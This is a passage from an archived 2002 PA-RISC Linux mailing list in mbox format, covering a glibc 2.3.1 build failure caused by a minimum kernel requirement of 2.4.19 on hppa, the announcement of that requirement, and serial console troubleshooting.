> e/glibc-2.3.1-5/glibc-2.3.1/objdir/nss:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objd
> ir/nis:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/rt:/home/dave/glibc-2.3.1-5/g
> libc-2.3.1/objdir/resolv:/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/crypt:/home
> /dave/glibc-2.3.1-5/glibc-2.3.1/objdir/linuxthreads /home/dave/glibc-2.3.1-5/gli
> bc-2.3.1/objdir/sunrpc/rpcgen -Y ../scripts -c rpcsvc/bootparam_prot.x -o /home/
> dave/glibc-2.3.1-5/glibc-2.3.1/objdir/sunrpc/xbootparam_prot.T
> FATAL: kernel too old
> make[2]: *** [/home/dave/glibc-2.3.1-5/glibc-2.3.1/objdir/sunrpc/xbootparam_prot
> .stmp] Error 1
>
> Is 2.4.18-pa52 really too old?
>
> I configured with
>
> ../glibc/configure --build=hppa-linux --host=hppa-linux --target=hppa-linux
> --prefix=/home/dave/opt/gnu --disable-profile --without-cvs
> --enable-add-ons --enable-hacker-mode --enable-kernel=2.4.8
                                                        ^^^^^

2.4.8 ? Not 2.4.18? But I don't know whether this make a difference!?

BTW, wasn't there a option for --with-kernel-headers= ?
Perhaps the kernel headers weren't picked up properly ...

greetings max



From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Bailey <jbailey@nisa.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: FATAL: kernel too old
Date: Wed, 4 Dec 2002 14:30:54 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <20021204223054.GA17573__19674.9603179798$1416621995$gmane$org@nisa.net>
References: <20021203024358.GA5487@systemhalted> <200212042213.gB4MD83F000234@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621995 18090 80.91.229.3 (22 Nov 2014 02:06:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:35 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 15:31:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from delta.nisa.net (delta.nisa.net [207.194.212.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D1E24829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 15:31:10 -0700 (MST)
Original-Received: from delta.nisa.net (localhost [127.0.0.1])
	by delta.nisa.net (8.12.3/8.12.3/Debian -4) with ESMTP id gB4MUtc4017942;
	Wed, 4 Dec 2002 14:30:55 -0800
Original-Received: (from jbailey@localhost)
	by delta.nisa.net (8.12.3/8.12.3/Debian -4) id gB4MUtqk017940;
	Wed, 4 Dec 2002 14:30:55 -0800
Content-Disposition: inline
In-Reply-To: <200212042213.gB4MD83F000234@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17014

On Wed, Dec 04, 2002 at 05:13:07PM -0500, John David Anglin wrote:

> Is 2.4.18-pa52 really too old?

Yes.  hppa-linux requires 2.4.19

Tks,
Jeff Bailey



From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: FATAL: kernel too old
Date: Wed, 4 Dec 2002 17:42:00 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200212042242.gB4Mg08d000513__8795.43103878877$1416621995$gmane$org@hiauly1.hia.nrc.ca>
References: <20021204223054.GA17573@nisa.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621995 18092 80.91.229.3 (22 Nov 2014 02:06:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:35 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, libc-alpha@sources.redhat.com,
	debian-glibc@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: jbailey@nisa.net (Jeff Bailey)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 15:42:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37DDE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 15:42:08 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gB4Mg1ot000514;
	Wed, 4 Dec 2002 17:42:01 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gB4Mg08d000513;
	Wed, 4 Dec 2002 17:42:00 -0500 (EST)
In-Reply-To: <20021204223054.GA17573@nisa.net> from "Jeff Bailey" at Dec 4, 2002 02:30:54 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17015

> On Wed, Dec 04, 2002 at 05:13:07PM -0500, John David Anglin wrote:
> 
> > Is 2.4.18-pa52 really too old?
> 
> Yes.  hppa-linux requires 2.4.19

Ok, I try one of the other builds but none so far have been particularly
stable on a rp2470c.

Thanks,
Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: FATAL: kernel too old
Date: Wed, 4 Dec 2002 15:55:04 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20021204225504.GB22403__6731.38952483914$1416621995$gmane$org@dsl2.external.hp.com>
References: <20021204223054.GA17573@nisa.net> <200212042242.gB4Mg08d000513@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621995 18093 80.91.229.3 (22 Nov 2014 02:06:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:35 +0000 (UTC)
Cc: Jeff Bailey <jbailey@nisa.net>, carlos@baldric.uwo.ca,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 15:55:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5A08F4829; Wed,  4 Dec 2002 15:55:04 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200212042242.gB4Mg08d000513@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17016

On Wed, Dec 04, 2002 at 05:42:00PM -0500, John David Anglin wrote:
> Ok, I try one of the other builds but none so far have been particularly
> stable on a rp2470c.

Dave,
I can build a UP 2.4.20 for the rp2470 and see how that fairs.
SMP has in fact not been especially stable for the 2.4.19 hppa releases.

thanks,
grant


From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: FATAL: kernel too old
Date: Wed, 4 Dec 2002 18:01:52 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200212042301.gB4N1riC000738__12136.0707948499$1416621996$gmane$org@hiauly1.hia.nrc.ca>
References: <20021204225504.GB22403@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621996 18099 80.91.229.3 (22 Nov 2014 02:06:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:36 +0000 (UTC)
Cc: jbailey@nisa.net, carlos@baldric.uwo.ca,
	libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 16:26:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C62ED4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 16:26:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gB4N1rot000741;
	Wed, 4 Dec 2002 18:01:53 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gB4N1riC000738;
	Wed, 4 Dec 2002 18:01:53 -0500 (EST)
In-Reply-To: <20021204225504.GB22403@dsl2.external.hp.com> from "Grant Grundler" at Dec 4, 2002 03:55:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17017

> Dave,
> I can build a UP 2.4.20 for the rp2470 and see how that fairs.
> SMP has in fact not been especially stable for the 2.4.19 hppa releases.

That would be great.  I was going to try vmlinux-2.4.20-rc1-pa7
after the gcc testsuite run that is in progress completes.  I seem
to recall that vmlinux-2.4.20-rc1-pa7 wasn't very stable, so it
would be nice to find something later than 2.4.18 that works reasonably
reliably.

I was trying to get a feel whether of not the current gcc mainline
would successfully build the latest glibc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GNU/Libc 2.3.1 on HP-PARISC requires >= 2.4.19 kernel.
Date: Wed, 4 Dec 2002 20:08:45 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <20021205010845.GU16331__11288.4195209064$1416621996$gmane$org@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621996 18103 80.91.229.3 (22 Nov 2014 02:06:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:36 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Randolph Chung <tausq@debian.org>
To: debian-hppa@lists.debian.org,
	parisc-linux@lists.parisc-linux.org, debian-glibc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 18:09:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02F8D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 18:09:14 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18JkVX-0005Ii-00; Wed, 04 Dec 2002 20:08:51 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org,
	debian-glibc@lists.debian.org,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Randolph Chung <tausq@debian.org>
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (42% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17018

debian, parisc, debian-glibc,

Hi, my name is Carlos, and I cause all your nightmares with glibc on
HPPA :)

Currently in unstable for HPPA - glibc 2.3.1-5
Currently in testing  for HPPA - glibc 2.2.5-15

What?
=====
During the changeover from GNU/Libc 2.2.x to 2.3.x HPPA has changed
it's minimum GNU/Libc kernel version to 2.4.19.

Why?
====
- More testing.
- Bugs fixed in unaligned handlers.
- Trap handler fixes.
- More things than you can shake a stick at, and all thanks to the
  wonderful kernel hacking team that parisc-linux has.

No.
===
If you do not wish to upgrade your kernel then I suggest you pin glibc at
the particular version that you feel is good for you. The debian glibc
package for 2.3.1-6 has a preinst check against the system kernel version
(e.g. You can't install it without the right kernel).

Sorry.
======
I apologize for the initial oversight that meant there was no preinst
check, and one or two individuals have suffered through some serious
system reconstruction. I apologize. I really do. I owe you both beers :}

I recommend that you _do_ _not_ upgrade glibc on HPPA until 2.3.1-6.

When?
=====

glibc 2.3.1-6 is going into unstable in the next few days (time
permitting).

Thanks for your time :)

Cheers,
Carlos O'Donell.



From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Thu, 5 Dec 2002 10:26:52 +0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20021205102644.K32550@neep.com.au>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl> <20021202165219.GP24337@sleepie.demon.co.uk> <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl> <20021204162426.GB21187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621996 18104 80.91.229.3 (22 Nov 2014 02:06:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 19:28:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (unknown [203.13.164.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 918A84829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 19:28:30 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id KAA11582
	for parisc-linux@lists.parisc-linux.org; Thu, 5 Dec 2002 10:28:16 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20021204162426.GB21187@tausq.org>; from randolph@tausq.org on Wed, Dec 04, 2002 at 08:24:26AM -0800
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17019

Randolph Chung said:
> > Now my problem is that I can't get any output. I'm using HyperTerminal 6.3
> > on windows 98. The settings are 9600 8-N-1. My serial cable is D9F/D9F.
> 
> this is perhaps a dumb question, but are you sure your hyperterminal
> settings are correct? i've had a hard time getting hyperterminal to act
> as a serial console for anything, be it PCs, PA-RISC machines, Sun
> servers, .... of course, that could just be me ;)
> 
> randolph

Also, are you sure that HyperTerminal is looking at the right serial
port?  Can you stick a modem on it, see an 'OK' prompt, issue 'ATZ' etc?

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs/patch2.4.20-paxx still against vanilla 2.4.19?
Date: Thu, 5 Dec 2002 07:56:07 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <3DED9BBD0000030B@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621997 18304 80.91.229.3 (22 Nov 2014 02:06:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec  4 23:56:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EB9E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Dec 2002 23:56:22 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18Jpvl-0005G2-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 05 Dec 2002 07:56:17 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 5 Dec 2002 06:56:07 +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17020

Thanks in advance,
    Joel

*************************************************************************=
*******
Controlez mieux votre consommation Internet...surfez Tiscali Complete...h=
ttp://tiscali.complete.be





From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lifimage
Date: Thu, 5 Dec 2002 10:05:24 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <002701c29c3d$725b0120$4fe85982@kabel.utwente.nl>
References: <3DA3DE6600007D28@ocpmta4.be.tiscali.com> <003101c299e1$9b2e7680$4fe85982@kabel.utwente.nl> <20021202105023.GL24337@sleepie.demon.co.uk> <003a01c29a1d$cd94b800$4fe85982@kabel.utwente.nl> <20021202165219.GP24337@sleepie.demon.co.uk> <001c01c29b89$f01db9e0$4fe85982@kabel.utwente.nl> <20021204162426.GB21187@tausq.org> <20021205102644.K32550@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621997 18364 80.91.229.3 (22 Nov 2014 02:06:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec  5 02:06:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 430154829
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Dec 2002 02:06:03 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gB595r827846
          for <parisc-linux@lists.parisc-linux.org>; Thu, 5 Dec 2002 08:05:53 -0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17021

The problem was the serial cable. I borrowed a crossed one and that worked
right away.

Tim

----- Oorspronkelijk bericht -----
Van: "Andrew Shugg" <andrew@neep.com.au>
Aan: <parisc-linux@lists.parisc-linux.org>
Verzonden: donderdag 5 december 2002 3:26
Onderwerp: Re: [parisc-linux] lifimage


> Randolph Chung said:
> > > Now my problem is that I can't get any output. I'm using HyperTerminal
6.3
> > > on windows 98. The settings are 9600 8-N-1. My serial cable is
D9F/D9F.
> >
> > this is perhaps a dumb question, but are you sure your hyperterminal
> > settings are correct? i've had a hard time getting hyperterminal to act
> > as a serial console for anything, be it PCs, PA-RISC machines, Sun
> > servers, .... of course, that could just be me ;)
> >
> > randolph
>
> Also, are you sure that HyperTerminal is looking at the right serial
> port?  Can you stick a modem on it, see an 'OK' prompt, issue 'ATZ' etc?
>
> Andrew.
>
> --
> Andrew Shugg <andrew@neep.com.au>
http://www.neep.com.au/
>
> "Just remember, Mr Fawlty, there's always someone worse off than
yourself."
> "Is there?  Well I'd like to meet him.  I could do with a good laugh."
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:25:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] panic while "set serial" with 2.4.20-pa9
Date: Thu, 05 Dec 2002 10:25:03 +0100
Organization: H.P
Lines: 60
Approved: news@gmane.org
